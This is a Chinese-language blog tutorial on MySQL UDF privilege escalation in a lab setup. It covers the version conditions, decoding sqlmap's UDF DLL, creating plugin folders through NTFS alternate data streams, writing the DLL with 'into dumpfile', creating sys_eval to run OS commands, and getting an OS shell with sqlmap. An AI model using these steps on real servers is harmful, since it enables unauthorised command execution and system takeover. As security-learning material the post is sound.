Web攻防

初识udf提权及利用小结

2020-12-02  本文已影响0人  book4yi

前言


UDF(user defined function)用户自定义函数,是mysql的一个拓展接口。用户可以通过自定义函数实现在mysql中无法方便实现的功能,其添加的新函数都可以在sql语句中调用,就像调用本机函数一样。 由于是用户自定义的函数,所以我们可以利用UDF创建一个执行命令的函数。

三种不同的利用情况:


1、mysql < 5.0,导出路径随意。
2、5.0 <= mysql < 5.1,udf.dll 则需要导出至目标服务器的系统目录 (如:c:/windows/system32/)
3、mysql > 5.1,udf.dll 必须要把udf.dll文件放到MySQL安装目录下的lib\plugin文件夹下才能创建自定义函数。

利用条件:


1、掌握mysql数据库的账户,能够正常外连。
2、拥有对mysql的insert和delete权限,以创建和抛弃函数。
3、拥有可以将udf.dll写入相应目录的权限。最好的情况是secure_file_priv变量为空,导入导出不会被限制

secure_file_priv变量:

secure_file_priv=NULL,禁止导入导出
secure_file_priv='',不限制导入导出
secure_file_priv=/path/,只能向指定目录导入导出

环境介绍:

win7 + apache2.4.41 + php7.3.16 + Mysql5.5.29
漏洞环境:pikachu

udf.dll获取:

根据目标机器的相关信息,到Sqlmap目录下找到对应的dll文件,目标是windows 64位操作系统
Sqlmap将原本的dll文件进行了编码处理,我们需要通过脚本进行解密获得dll文件:

cd C:\Python\python38\sqlmap\extra\cloak
python cloak.py -d -i C:\Python\python38\sqlmap\data\udf\mysql\windows\64\lib_mysqludf_sys.dll_

获得dll文件:

利用过程:


udf有两种加载方法:

1、修改MySQL配置文件
2、UDF放置在MySQL指定的插件目录中加载

修改MySQL配置文件:

这里虽然用不到,但还是记录一下,未雨绸缪~
启动参数配置:

// 通过mysqld更改plugin的目录位置
mysqld.exe –plugin-dir=C:\\temp\\plugins\\
// 编写一个新的mysql配置文件,并通过–defaults-file参数将其传递给mysqld
mysqld.exe --defaults-file=C:\temp\my.ini

my.ini配置:

[mysqld]
plugin_dir = C:\\temp\\plugins\\

由于实验环境中mysql版本大于5.1,查看 mysql 插件目录是否有被修改:

show variables like 'plugin_dir';
# 查看数据库安装路径
select @@basedir;

NTFS文件系统中的文件夹没有data流,但可以指派data流,文件夹的主流为directory流($INDEX_ALLOCATION),流名默认为$I30

# 利用NTFS ADS创建lib目录
select 'xxx' into dumpfile 'D:\\phpstudy_pro\\Extensions\\MySQL5.5.29\\lib::$INDEX_ALLOCATION';
# 利用NTFS ADS创建plugin目录
select 'xxx' into dumpfile 'D:\\phpstudy_pro\\Extensions\\MySQL5.5.29\\lib\\plugin::$INDEX_ALLOCATION';

本地测试的时候,虽然报错了,但确实创建了lib文件夹:

同理继续创建plugin文件夹。

获取本地udf.dll的hex值:

select hex(load_file('C:\\Python\\python38\\sqlmap\\data\\udf\\mysql\\windows\\64\\lib_mysqludf_sys.dll'))

将dll文件上传到目标的Mysql插件目录中:

select 0xcode into dumpfile 'D:\\phpstudy_pro\\Extensions\\MySQL5.5.29\\lib\\plugin\\udf.dll';
# 或者:
# select unhex(十六进制)
# select char(77,90,144...)

通过dll文件创建函数:

create function sys_eval returns string soname "udf.dll";

其中共可创建四种函数:

sys_eval,执行任意命令,并将输出返回
sys_exec,执行任意命令,并将退出码返回
sys_get,获取一个环境变量
sys_set,创建或修改一个环境变量

尝试执行系统命令:

select sys_eval('whoami');

删除创建的函数:

drop function sys_eval;

检测是否删除成功:

select * from mysql.func where name = 'sys_eval';

sqlmap提权:


1、连接数据库

python sqlmap.py -d "mysql://root:root@192.168.107.140:3306/mysql" --sql-shell

2、创建lib、plugin文件夹

sql-shell> select 'xxx' into dumpfile 'D:\\phpstudy_pro\\Extensions\\MySQL5.5.29\\lib::$INDEX_ALLOCATION';
sql-shell> select 'xxx' into dumpfile 'D:\\phpstudy_pro\\Extensions\\MySQL5.5.29\\lib\\plugin::$INDEX_ALLOCATION';

3、上传dll文件进行提权

python sqlmap.py -d "mysql://root:root@192.168.107.140:3306/mysql" --os-shell

打完收工~

参考如下:


Mysql-Udf提权
Mysql UDF BackDoor

上一篇 下一篇

猜你喜欢

热点阅读